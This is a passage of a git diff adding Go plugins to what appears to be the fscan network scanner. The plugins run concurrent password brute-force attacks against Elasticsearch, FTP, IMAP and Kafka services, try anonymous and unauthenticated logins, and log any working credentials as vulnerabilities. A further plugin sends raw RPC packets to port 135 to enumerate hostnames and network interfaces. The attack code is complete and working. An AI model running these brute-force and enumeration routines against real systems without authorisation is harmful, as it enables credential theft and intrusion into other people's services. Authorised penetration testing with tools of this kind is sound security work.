Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["elastic"]), len(Common.Passwords), len(credentials)))
// 并发扫描
result := concurrentElasticScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
if result != nil {
// 记录成功结果
saveElasticResult(info, target, result.Credential, false)
return nil
}
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
Common.LogDebug("Elasticsearch扫描全局超时")
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1是因为尝试了无认证
return nil
}
}
// concurrentElasticScan 并发扫描Elasticsearch服务
func concurrentElasticScan(ctx context.Context, info *Common.HostInfo, credentials []ElasticCredential, timeoutSeconds int64, maxRetries int) *ElasticScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
if maxConcurrent > len(credentials) {
maxConcurrent = len(credentials)
}
// 创建工作池
var wg sync.WaitGroup
resultChan := make(chan *ElasticScanResult, 1)
workChan := make(chan ElasticCredential, maxConcurrent)
scanCtx, scanCancel := context.WithCancel(ctx)
defer scanCancel()
// 启动工作协程
for i := 0; i < maxConcurrent; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for credential := range workChan {
select {
case <-scanCtx.Done():
return
default:
result := tryElasticCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
if result.Success {
select {
case resultChan <- result:
scanCancel() // 找到有效凭据,取消其他工作
default:
}
return
}
}
}
}()
}
// 发送工作
go func() {
for i, cred := range credentials {
select {
case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
close(workChan)
}()
// 等待结果或完成
go func() {
wg.Wait()
close(resultChan)
}()
// 获取结果,考虑全局超时
select {
case result, ok := <-resultChan:
if ok && result != nil && result.Success {
return result
}
return nil
case <-ctx.Done():
Common.LogDebug("Elasticsearch并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryElasticCredential 尝试单个Elasticsearch凭据
func tryElasticCredential(ctx context.Context, info *Common.HostInfo, credential ElasticCredential, timeoutSeconds int64, maxRetries int) *ElasticScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
select {
case <-ctx.Done():
return &ElasticScanResult{
Success: false,
Error: fmt.Errorf("全局超时"),
Credential: credential,
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
success, err := ElasticConn(ctx, info, credential.Username, credential.Password, timeoutSeconds)
if success {
isUnauth := credential.Username == "" && credential.Password == ""
return &ElasticScanResult{
Success: true,
IsUnauth: isUnauth,
Credential: credential,
}
}
lastErr = err
if err != nil {
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
}
}
}
return &ElasticScanResult{
Success: false,
Error: lastErr,
Credential: credential,
}
}
// ElasticConn 尝试Elasticsearch连接
func ElasticConn(ctx context.Context, info *Common.HostInfo, user string, pass string, timeoutSeconds int64) (bool, error) {
host, port := info.Host, info.Ports
timeout := time.Duration(timeoutSeconds) * time.Second
// 创建带有超时的HTTP客户端
client := &http.Client{
Timeout: timeout,
Transport: &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
},
}
baseURL := fmt.Sprintf("http://%s:%s", host, port)
// 使用上下文创建请求
req, err := http.NewRequestWithContext(ctx, "GET", baseURL+"/_cat/indices", nil)
if err != nil {
return false, err
}
if user != "" || pass != "" {
auth := base64.StdEncoding.EncodeToString([]byte(user + ":" + pass))
req.Header.Add("Authorization", "Basic "+auth)
}
// 创建结果通道
resultChan := make(chan struct {
success bool
err error
}, 1)
// 在协程中执行HTTP请求
go func() {
resp, err := client.Do(req)
if err != nil {
select {
case <-ctx.Done():
case resultChan <- struct {
success bool
err error
}{false, err}:
}
return
}
defer resp.Body.Close()
select {
case <-ctx.Done():
case resultChan <- struct {
success bool
err error
}{resp.StatusCode == 200, nil}:
}
}()
// 等待结果或上下文取消
select {
case result := <-resultChan:
return result.success, result.err
case <-ctx.Done():
return false, ctx.Err()
}
}
// saveElasticResult 保存Elasticsearch扫描结果
func saveElasticResult(info *Common.HostInfo, target string, credential ElasticCredential, isUnauth bool) {
var successMsg string
var details map[string]interface{}
if isUnauth {
successMsg = fmt.Sprintf("Elasticsearch服务 %s 无需认证", target)
details = map[string]interface{}{
"port": info.Ports,
"service": "elasticsearch",
"type": "unauthorized-access",
}
} else {
successMsg = fmt.Sprintf("Elasticsearch服务 %s 爆破成功 用户名: %v 密码: %v",
target, credential.Username, credential.Password)
details = map[string]interface{}{
"port": info.Ports,
"service": "elasticsearch",
"username": credential.Username,
"password": credential.Password,
"type": "weak-password",
}
}
Common.LogSuccess(successMsg)
// 保存结果
result := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: details,
}
Common.SaveResult(result)
}
+345
View File
@@ -0,0 +1,345 @@
package Plugins
import (
"context"
"fmt"
"github.com/jlaffaye/ftp"
"github.com/shadow1ng/fscan/Common"
"strings"
"sync"
"time"
)
// FtpCredential 表示一个FTP凭据
type FtpCredential struct {
Username string
Password string
}
// FtpScanResult 表示FTP扫描结果
type FtpScanResult struct {
Success bool
Error error
Credential FtpCredential
Directories []string
IsAnonymous bool
}
func FtpScan(info *Common.HostInfo) error {
if Common.DisableBrute {
return nil
}
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
defer cancel()
// 首先尝试匿名登录
Common.LogDebug("尝试匿名登录...")
anonymousResult := tryFtpCredential(ctx, info, FtpCredential{"anonymous", ""}, Common.Timeout, Common.MaxRetries)
if anonymousResult.Success {
// 匿名登录成功
saveFtpResult(info, target, anonymousResult)
return nil
}
// 构建凭据列表
var credentials []FtpCredential
for _, user := range Common.Userdict["ftp"] {
for _, pass := range Common.Passwords {
actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, FtpCredential{
Username: user,
Password: actualPass,
})
}
}
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["ftp"]), len(Common.Passwords), len(credentials)))
// 使用工作池并发扫描
result := concurrentFtpScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
if result != nil {
// 保存成功结果
saveFtpResult(info, target, result)
return nil
}
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
Common.LogDebug("FTP扫描全局超时")
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了匿名登录
return nil
}
}
// concurrentFtpScan 并发扫描FTP服务
func concurrentFtpScan(ctx context.Context, info *Common.HostInfo, credentials []FtpCredential, timeoutSeconds int64, maxRetries int) *FtpScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
if maxConcurrent > len(credentials) {
maxConcurrent = len(credentials)
}
// 创建工作池
var wg sync.WaitGroup
resultChan := make(chan *FtpScanResult, 1)
workChan := make(chan FtpCredential, maxConcurrent)
scanCtx, scanCancel := context.WithCancel(ctx)
defer scanCancel()
// 启动工作协程
for i := 0; i < maxConcurrent; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for credential := range workChan {
select {
case <-scanCtx.Done():
return
default:
result := tryFtpCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
if result.Success {
select {
case resultChan <- result:
scanCancel() // 找到有效凭据,取消其他工作
default:
}
return
}
}
}
}()
}
// 发送工作
go func() {
for i, cred := range credentials {
select {
case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
close(workChan)
}()
// 等待结果或完成
go func() {
wg.Wait()
close(resultChan)
}()
// 获取结果,考虑全局超时
select {
case result, ok := <-resultChan:
if ok && result != nil && result.Success {
return result
}
return nil
case <-ctx.Done():
Common.LogDebug("FTP并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryFtpCredential 尝试单个FTP凭据
func tryFtpCredential(ctx context.Context, info *Common.HostInfo, credential FtpCredential, timeoutSeconds int64, maxRetries int) *FtpScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
select {
case <-ctx.Done():
return &FtpScanResult{
Success: false,
Error: fmt.Errorf("全局超时"),
Credential: credential,
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
// 创建结果通道
resultChan := make(chan struct {
success bool
directories []string
err error
}, 1)
// 在协程中尝试连接
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
go func() {
defer cancel()
success, dirs, err := FtpConn(info, credential.Username, credential.Password)
select {
case <-connCtx.Done():
case resultChan <- struct {
success bool
directories []string
err error
}{success, dirs, err}:
}
}()
// 等待结果或超时
var success bool
var dirs []string
var err error
select {
case result := <-resultChan:
success = result.success
dirs = result.directories
err = result.err
case <-connCtx.Done():
if ctx.Err() != nil {
// 全局超时
return &FtpScanResult{
Success: false,
Error: ctx.Err(),
Credential: credential,
}
}
// 单个连接超时
err = fmt.Errorf("连接超时")
}
if success {
isAnonymous := credential.Username == "anonymous" && credential.Password == ""
return &FtpScanResult{
Success: true,
Credential: credential,
Directories: dirs,
IsAnonymous: isAnonymous,
}
}
lastErr = err
if err != nil {
// 登录错误不需要重试
if strings.Contains(err.Error(), "Login incorrect") {
break
}
// 连接数过多需要等待
if strings.Contains(err.Error(), "too many connections") {
Common.LogDebug("连接数过多,等待5秒...")
time.Sleep(5 * time.Second)
continue
}
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
break
}
}
}
}
return &FtpScanResult{
Success: false,
Error: lastErr,
Credential: credential,
}
}
// FtpConn 建立FTP连接并尝试登录
func FtpConn(info *Common.HostInfo, user string, pass string) (success bool, directories []string, err error) {
Host, Port := info.Host, info.Ports
// 建立FTP连接
conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(Common.Timeout)*time.Second)
if err != nil {
return false, nil, err
}
defer func() {
if conn != nil {
conn.Quit()
}
}()
// 尝试登录
if err = conn.Login(user, pass); err != nil {
return false, nil, err
}
// 获取目录信息
dirs, err := conn.List("")
if err == nil && len(dirs) > 0 {
directories = make([]string, 0, min(6, len(dirs)))
for i := 0; i < len(dirs) && i < 6; i++ {
name := dirs[i].Name
if len(name) > 50 {
name = name[:50]
}
directories = append(directories, name)
}
}
return true, directories, nil
}
// saveFtpResult 保存FTP扫描结果
func saveFtpResult(info *Common.HostInfo, target string, result *FtpScanResult) {
var successMsg string
var details map[string]interface{}
if result.IsAnonymous {
successMsg = fmt.Sprintf("FTP服务 %s 匿名登录成功!", target)
details = map[string]interface{}{
"port": info.Ports,
"service": "ftp",
"username": "anonymous",
"password": "",
"type": "anonymous-login",
"directories": result.Directories,
}
} else {
successMsg = fmt.Sprintf("FTP服务 %s 成功爆破 用户名: %v 密码: %v",
target, result.Credential.Username, result.Credential.Password)
details = map[string]interface{}{
"port": info.Ports,
"service": "ftp",
"username": result.Credential.Username,
"password": result.Credential.Password,
"type": "weak-password",
"directories": result.Directories,
}
}
Common.LogSuccess(successMsg)
// 保存结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: details,
}
Common.SaveResult(vulnResult)
}
// min 返回两个整数中的较小值
func min(a, b int) int {
if a < b {
return a
}
return b
}
+229
View File
@@ -0,0 +1,229 @@
package Plugins
import (
"bytes"
"encoding/hex"
"fmt"
"github.com/shadow1ng/fscan/Common"
"net"
"regexp"
"strconv"
"strings"
"time"
"unicode"
)
var (
bufferV1, _ = hex.DecodeString("05000b03100000004800000001000000b810b810000000000100000000000100c4fefc9960521b10bbcb00aa0021347a00000000045d888aeb1cc9119fe808002b10486002000000")
bufferV2, _ = hex.DecodeString("050000031000000018000000010000000000000000000500")
bufferV3, _ = hex.DecodeString("0900ffff0000")
)
func Findnet(info *Common.HostInfo) error {
return FindnetScan(info)
}
func FindnetScan(info *Common.HostInfo) error {
target := fmt.Sprintf("%s:%v", info.Host, 135)
conn, err := Common.WrapperTcpWithTimeout("tcp", target, time.Duration(Common.Timeout)*time.Second)
if err != nil {
return fmt.Errorf("连接RPC端口失败: %v", err)
}
defer conn.Close()
if err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
return fmt.Errorf("设置超时失败: %v", err)
}
if _, err = conn.Write(bufferV1); err != nil {
return fmt.Errorf("发送RPC请求1失败: %v", err)
}
reply := make([]byte, 4096)
if _, err = conn.Read(reply); err != nil {
return fmt.Errorf("读取RPC响应1失败: %v", err)
}
if _, err = conn.Write(bufferV2); err != nil {
return fmt.Errorf("发送RPC请求2失败: %v", err)
}
n, err := conn.Read(reply)
if err != nil || n < 42 {
return fmt.Errorf("读取RPC响应2失败: %v", err)
}
text := reply[42:]
found := false
for i := 0; i < len(text)-5; i++ {
if bytes.Equal(text[i:i+6], bufferV3) {
text = text[:i-4]
found = true
break
}
}
if !found {
return fmt.Errorf("未找到有效的响应标记")
}
return read(text, info.Host)
}
func HexUnicodeStringToString(src string) string {
if len(src)%4 != 0 {
src += strings.Repeat("0", 4-len(src)%4)
}
var result strings.Builder
for i := 0; i < len(src); i += 4 {
if i+4 > len(src) {
break
}
charCode, err := strconv.ParseInt(src[i+2:i+4]+src[i:i+2], 16, 32)
if err != nil {
continue
}
if unicode.IsPrint(rune(charCode)) {
result.WriteRune(rune(charCode))
}
}
return result.String()
}
func isValidHostname(name string) bool {
if len(name) == 0 || len(name) > 255 {
return false
}
validHostname := regexp.MustCompile(`^[a-zA-Z0-9][a-zA-Z0-9-]*[a-zA-Z0-9]$`)
return validHostname.MatchString(name)
}
func isValidNetworkAddress(addr string) bool {
// 检查是否为IPv4或IPv6
if ip := net.ParseIP(addr); ip != nil {
return true
}
// 检查是否为有效主机名
return isValidHostname(addr)
}
func cleanAndValidateAddress(data []byte) string {
// 转换为字符串并清理不可打印字符
addr := strings.Map(func(r rune) rune {
if unicode.IsPrint(r) {
return r
}
return -1
}, string(data))
// 移除前后空白
addr = strings.TrimSpace(addr)
if isValidNetworkAddress(addr) {
return addr
}
return ""
}
func read(text []byte, host string) error {
encodedStr := hex.EncodeToString(text)
// 解析主机名
var hostName string
for i := 0; i < len(encodedStr)-4; i += 4 {
if encodedStr[i:i+4] == "0000" {
break
}
hostName += encodedStr[i : i+4]
}
name := HexUnicodeStringToString(hostName)
if !isValidHostname(name) {
name = ""
}
// 用于收集地址信息
var ipv4Addrs []string
var ipv6Addrs []string
seenAddresses := make(map[string]bool)
// 解析网络信息
netInfo := strings.Replace(encodedStr, "0700", "", -1)
segments := strings.Split(netInfo, "000000")
// 处理每个网络地址
for _, segment := range segments {
if len(segment) == 0 {
continue
}
if len(segment)%2 != 0 {
segment = segment + "0"
}
addrBytes, err := hex.DecodeString(segment)
if err != nil {
continue
}
addr := cleanAndValidateAddress(addrBytes)
if addr != "" && !seenAddresses[addr] {
seenAddresses[addr] = true
if strings.Contains(addr, ":") {
ipv6Addrs = append(ipv6Addrs, addr)
} else if net.ParseIP(addr) != nil {
ipv4Addrs = append(ipv4Addrs, addr)
}
}
}
// 构建详细信息
details := map[string]interface{}{
"hostname": name,
"ipv4": ipv4Addrs,
"ipv6": ipv6Addrs,
}
// 保存扫描结果
result := &Common.ScanResult{
Time: time.Now(),
Type: Common.SERVICE,
Target: host,
Status: "identified",
Details: details,
}
Common.SaveResult(result)
// 构建控制台输出
var output strings.Builder
output.WriteString("NetInfo 扫描结果")
output.WriteString(fmt.Sprintf("\n目标主机: %s", host))
if name != "" {
output.WriteString(fmt.Sprintf("\n主机名: %s", name))
}
output.WriteString("\n发现的网络接口:")
if len(ipv4Addrs) > 0 {
output.WriteString("\n IPv4地址:")
for _, addr := range ipv4Addrs {
output.WriteString(fmt.Sprintf("\n └─ %s", addr))
}
}
if len(ipv6Addrs) > 0 {
output.WriteString("\n IPv6地址:")
for _, addr := range ipv6Addrs {
output.WriteString(fmt.Sprintf("\n └─ %s", addr))
}
}
Common.LogInfo(output.String())
return nil
}
+326
View File
@@ -0,0 +1,326 @@
package Plugins
import (
"bufio"
"context"
"crypto/tls"
"fmt"
"io"
"net"
"strings"
"sync"
"time"
"github.com/shadow1ng/fscan/Common"
)
// IMAPCredential 表示一个IMAP凭据
type IMAPCredential struct {
Username string
Password string
}
// IMAPScanResult 表示IMAP扫描结果
type IMAPScanResult struct {
Success bool
Error error
Credential IMAPCredential
}
// IMAPScan 主扫描函数
func IMAPScan(info *Common.HostInfo) error {
if Common.DisableBrute {
return nil
}
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
defer cancel()
// 构建凭据列表
var credentials []IMAPCredential
for _, user := range Common.Userdict["imap"] {
for _, pass := range Common.Passwords {
actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, IMAPCredential{
Username: user,
Password: actualPass,
})
}
}
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["imap"]), len(Common.Passwords), len(credentials)))
// 并发扫描
result := concurrentIMAPScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
if result != nil {
// 记录成功结果
saveIMAPResult(info, target, result.Credential)
return nil
}
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
Common.LogDebug("IMAP扫描全局超时")
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)))
return nil
}
}
// concurrentIMAPScan 并发扫描IMAP服务
func concurrentIMAPScan(ctx context.Context, info *Common.HostInfo, credentials []IMAPCredential, timeoutSeconds int64, maxRetries int) *IMAPScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
if maxConcurrent > len(credentials) {
maxConcurrent = len(credentials)
}
// 创建工作池
var wg sync.WaitGroup
resultChan := make(chan *IMAPScanResult, 1)
workChan := make(chan IMAPCredential, maxConcurrent)
scanCtx, scanCancel := context.WithCancel(ctx)
defer scanCancel()
// 启动工作协程
for i := 0; i < maxConcurrent; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for credential := range workChan {
select {
case <-scanCtx.Done():
return
default:
result := tryIMAPCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
if result.Success {
select {
case resultChan <- result:
scanCancel() // 找到有效凭据,取消其他工作
default:
}
return
}
}
}
}()
}
// 发送工作
go func() {
for i, cred := range credentials {
select {
case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
close(workChan)
}()
// 等待结果或完成
go func() {
wg.Wait()
close(resultChan)
}()
// 获取结果,考虑全局超时
select {
case result, ok := <-resultChan:
if ok && result != nil && result.Success {
return result
}
return nil
case <-ctx.Done():
Common.LogDebug("IMAP并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryIMAPCredential 尝试单个IMAP凭据
func tryIMAPCredential(ctx context.Context, info *Common.HostInfo, credential IMAPCredential, timeoutSeconds int64, maxRetries int) *IMAPScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
select {
case <-ctx.Done():
return &IMAPScanResult{
Success: false,
Error: fmt.Errorf("全局超时"),
Credential: credential,
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
// 创建单个连接超时的上下文
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
success, err := IMAPConn(connCtx, info, credential.Username, credential.Password)
cancel()
if success {
return &IMAPScanResult{
Success: true,
Credential: credential,
}
}
lastErr = err
if err != nil {
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
}
}
}
return &IMAPScanResult{
Success: false,
Error: lastErr,
Credential: credential,
}
}
// IMAPConn 连接测试函数
func IMAPConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (bool, error) {
host, port := info.Host, info.Ports
timeout := time.Duration(Common.Timeout) * time.Second
addr := fmt.Sprintf("%s:%s", host, port)
// 创建结果通道
resultChan := make(chan struct {
success bool
err error
}, 1)
// 在协程中尝试连接
go func() {
// 先尝试普通连接
conn, err := Common.WrapperTcpWithContext(ctx, "tcp", addr)
if err == nil {
flag, authErr := tryIMAPAuth(conn, user, pass, timeout)
conn.Close()
if authErr == nil {
select {
case <-ctx.Done():
case resultChan <- struct {
success bool
err error
}{flag, nil}:
}
return
}
}
// 如果普通连接失败或认证失败,尝试TLS连接
tlsConfig := &tls.Config{
InsecureSkipVerify: true,
}
// 使用支持代理的TLS连接
tlsConn, tlsErr := Common.WrapperTlsWithContext(ctx, "tcp", addr, tlsConfig)
if tlsErr != nil {
select {
case <-ctx.Done():
case resultChan <- struct {
success bool
err error
}{false, fmt.Errorf("TLS连接失败: %v", tlsErr)}:
}
return
}
defer tlsConn.Close()
flag, authErr := tryIMAPAuth(tlsConn, user, pass, timeout)
select {
case <-ctx.Done():
case resultChan <- struct {
success bool
err error
}{flag, authErr}:
}
}()
// 等待结果或上下文取消
select {
case result := <-resultChan:
return result.success, result.err
case <-ctx.Done():
return false, ctx.Err()
}
}
// tryIMAPAuth 尝试IMAP认证
func tryIMAPAuth(conn net.Conn, user string, pass string, timeout time.Duration) (bool, error) {
conn.SetDeadline(time.Now().Add(timeout))
reader := bufio.NewReader(conn)
_, err := reader.ReadString('\n')
if err != nil {
return false, fmt.Errorf("读取欢迎消息失败: %v", err)
}
loginCmd := fmt.Sprintf("a001 LOGIN \"%s\" \"%s\"\r\n", user, pass)
_, err = conn.Write([]byte(loginCmd))
if err != nil {
return false, fmt.Errorf("发送登录命令失败: %v", err)
}
for {
conn.SetDeadline(time.Now().Add(timeout))
response, err := reader.ReadString('\n')
if err != nil {
if err == io.EOF {
return false, fmt.Errorf("认证失败")
}
return false, fmt.Errorf("读取响应失败: %v", err)
}
if strings.Contains(response, "a001 OK") {
return true, nil
}
if strings.Contains(response, "a001 NO") || strings.Contains(response, "a001 BAD") {
return false, fmt.Errorf("认证失败")
}
}
}
// saveIMAPResult 保存IMAP扫描结果
func saveIMAPResult(info *Common.HostInfo, target string, credential IMAPCredential) {
successMsg := fmt.Sprintf("IMAP服务 %s 爆破成功 用户名: %v 密码: %v",
target, credential.Username, credential.Password)
Common.LogSuccess(successMsg)
// 保存结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "imap",
"username": credential.Username,
"password": credential.Password,
"type": "weak-password",
},
}
Common.SaveResult(vulnResult)
}
+327
View File
@@ -0,0 +1,327 @@
package Plugins
import (
"context"
"fmt"
"github.com/IBM/sarama"
"github.com/shadow1ng/fscan/Common"
"strings"
"sync"
"time"
)
// KafkaCredential 表示Kafka凭据
type KafkaCredential struct {
Username string
Password string
}
// KafkaScanResult 表示扫描结果
type KafkaScanResult struct {
Success bool
IsUnauth bool
Error error
Credential KafkaCredential
}
func KafkaScan(info *Common.HostInfo) error {
if Common.DisableBrute {
return nil
}
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
defer cancel()
// 先尝试无认证访问
Common.LogDebug("尝试无认证访问...")
unauthResult := tryKafkaCredential(ctx, info, KafkaCredential{"", ""}, Common.Timeout, Common.MaxRetries)
if unauthResult.Success {
// 无认证访问成功
Common.LogSuccess(fmt.Sprintf("Kafka服务 %s 无需认证即可访问", target))
// 保存无认证访问结果
result := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "kafka",
"type": "unauthorized-access",
},
}
Common.SaveResult(result)
return nil
}
// 构建凭据列表
var credentials []KafkaCredential
for _, user := range Common.Userdict["kafka"] {
for _, pass := range Common.Passwords {
actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, KafkaCredential{
Username: user,
Password: actualPass,
})
}
}
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["kafka"]), len(Common.Passwords), len(credentials)))
// 使用工作池并发扫描
result := concurrentKafkaScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
if result != nil {
// 保存爆破成功结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "kafka",
"type": "weak-password",
"username": result.Credential.Username,
"password": result.Credential.Password,
},
}
Common.SaveResult(vulnResult)
Common.LogSuccess(fmt.Sprintf("Kafka服务 %s 爆破成功 用户名: %s 密码: %s",
target, result.Credential.Username, result.Credential.Password))
return nil
}
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
Common.LogDebug("Kafka扫描全局超时")
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了无认证
return nil
}
}
// concurrentKafkaScan 并发扫描Kafka服务
func concurrentKafkaScan(ctx context.Context, info *Common.HostInfo, credentials []KafkaCredential, timeoutSeconds int64, maxRetries int) *KafkaScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
if maxConcurrent > len(credentials) {
maxConcurrent = len(credentials)
}
// 创建工作池
var wg sync.WaitGroup
resultChan := make(chan *KafkaScanResult, 1)
workChan := make(chan KafkaCredential, maxConcurrent)
scanCtx, scanCancel := context.WithCancel(ctx)
defer scanCancel()
// 启动工作协程
for i := 0; i < maxConcurrent; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for credential := range workChan {
select {
case <-scanCtx.Done():
return
default:
result := tryKafkaCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
if result.Success {
select {
case resultChan <- result:
scanCancel() // 找到有效凭据,取消其他工作
default:
}
return
}
}
}
}()
}
// 发送工作
go func() {
for i, cred := range credentials {
select {
case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
close(workChan)
}()
// 等待结果或完成
go func() {
wg.Wait()
close(resultChan)
}()
// 获取结果,考虑全局超时
select {
case result, ok := <-resultChan:
if ok && result != nil && result.Success {
return result
}
return nil
case <-ctx.Done():
Common.LogDebug("Kafka并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryKafkaCredential 尝试单个Kafka凭据
func tryKafkaCredential(ctx context.Context, info *Common.HostInfo, credential KafkaCredential, timeoutSeconds int64, maxRetries int) *KafkaScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
select {
case <-ctx.Done():
return &KafkaScanResult{
Success: false,
Error: fmt.Errorf("全局超时"),
Credential: credential,
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
// 创建单个连接超时的上下文
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
// 在协程中执行Kafka连接
resultChan := make(chan struct {
success bool
err error
}, 1)
go func() {
success, err := KafkaConn(info, credential.Username, credential.Password)
select {
case <-connCtx.Done():
// 连接超时或被取消
case resultChan <- struct {
success bool
err error
}{success, err}:
// 发送结果
}
}()
// 等待结果或超时
var success bool
var err error
select {
case result := <-resultChan:
success = result.success
err = result.err
case <-connCtx.Done():
if ctx.Err() != nil {
// 全局超时
cancel()
return &KafkaScanResult{
Success: false,
Error: ctx.Err(),
Credential: credential,
}
}
// 单个连接超时
err = fmt.Errorf("连接超时")
}
cancel() // 清理单个连接上下文
if success {
isUnauth := credential.Username == "" && credential.Password == ""
return &KafkaScanResult{
Success: true,
IsUnauth: isUnauth,
Credential: credential,
}
}
lastErr = err
if err != nil {
// 记录错误
Common.LogError(fmt.Sprintf("Kafka尝试失败 用户名: %s 密码: %s 错误: %v",
credential.Username, credential.Password, err))
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
}
}
}
return &KafkaScanResult{
Success: false,
Error: lastErr,
Credential: credential,
}
}
